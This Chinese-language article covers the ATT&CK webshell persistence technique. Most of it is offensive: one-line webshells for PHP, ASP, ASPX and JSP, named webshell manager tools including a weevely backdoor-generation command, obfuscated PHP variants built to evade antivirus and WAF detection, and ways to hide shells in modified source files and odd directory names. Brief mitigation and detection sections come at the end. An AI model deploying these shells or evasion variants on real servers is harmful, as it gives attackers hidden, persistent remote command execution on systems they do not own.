ATT&CK矩阵-持久化-Webshell

一、简介

Web Shell是放置在可公开访问的Web服务器上的Web脚本,以允许攻击者将Web服务器用作进入服务器通道。Webshell可以为攻击者提供一个命令行界面。除了服务器端脚本之外,Web Shell可能还具有用于与Web服务器对话的客户端接口程序(例如,参见China Chopper Web Shell客户端)。
Web Shell可以充当持久访问或持久机制。

二、测试用例

Webshell一句话

  1. PHP
<?php @eval($_POST['value']);?>
<?php system($_REQUEST1);?>
......
  1. ASP
<%eval request("MH")%>
<%execute request("MH")%>
......
  1. ASPX
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>
......
  1. JSP
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
//无回显执行系统命令
......
```

Webshell部分汇总
https://github.com/xl7dev/WebShell

Webshell管理工具

  1. 中国菜刀
  2. Cknife
  3. 蚁剑
  4. 冰蝎
  5. xise
  6. weevely(kali)
    weevely generate password test1.php //生成后门

    已连接,可通过help查看相关命令

    查询系统信息

Webshell免杀

常见几种方式,特别推荐大数据包方式进行免杀webshell

  1. 编码

用php的编码函数, 简单的base64_decode,其中因为他的正则匹配可以加入一些下划线干扰杀软(PS:这种方法现在基本GG)

<?php
$a = base64_decode("YXNz+ZX____J____0");
$a($_POST[x]);
?>
  1. 数组

把执行代码放入数组中执行绕过

<?php
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['q'])];
?>

多维数组

<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' => $b($_POST['q'])));
?>
  1. 特殊字符干扰
<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>
  1. 字符串变形
<?php
$a = substr_replace("assexx","rt",4);
$a($_POST['x']);
?>
  1. 大数据包绕过
    通过注释填充大量无用字符,增加文件大小,如

    可绕过大部分waf

Webshell隐藏

  1. 直接修改源代码,插入webshell,多个文件藏匿
  2. Include调用
  3. 创建非标准目录
    cmd 下创建md test..,然后拷贝webshell至文件夹下,达到隐藏效果
  4. 配置文件隐藏

…….

三、缓解措施

  1. 特权账号管理:严格审核账户权限,禁止用于管理服务器的账户与内部网络用户的权限重叠,即使攻击者获取webshell,也需要进行提权完成下一步攻击操作,增加攻击成本
  2. 对所使用的web服务器进行补丁修补,包括搭建在web服务器上的应用程序也定时进行漏洞修补、版本更新,防止攻击者通过应用程序漏洞进行部署webshell
  3. 严格控制服务器的写权限分配,阻止攻击者写入webshell
  4. 禁止服务器文件上传路径执行脚本文件

四、检测方法

  1. 针对修改程序文件的隐藏webshell,可通过文件监视方式检查服务器文件是否被修改
  2. 通过流量检测方式,针对敏感操作进行阻断,攻击者通常会通过webshell进行下一步攻击操作,如提权、权限维持、通道搭建
  3. 部署相关安全设备进行防御,如HIDS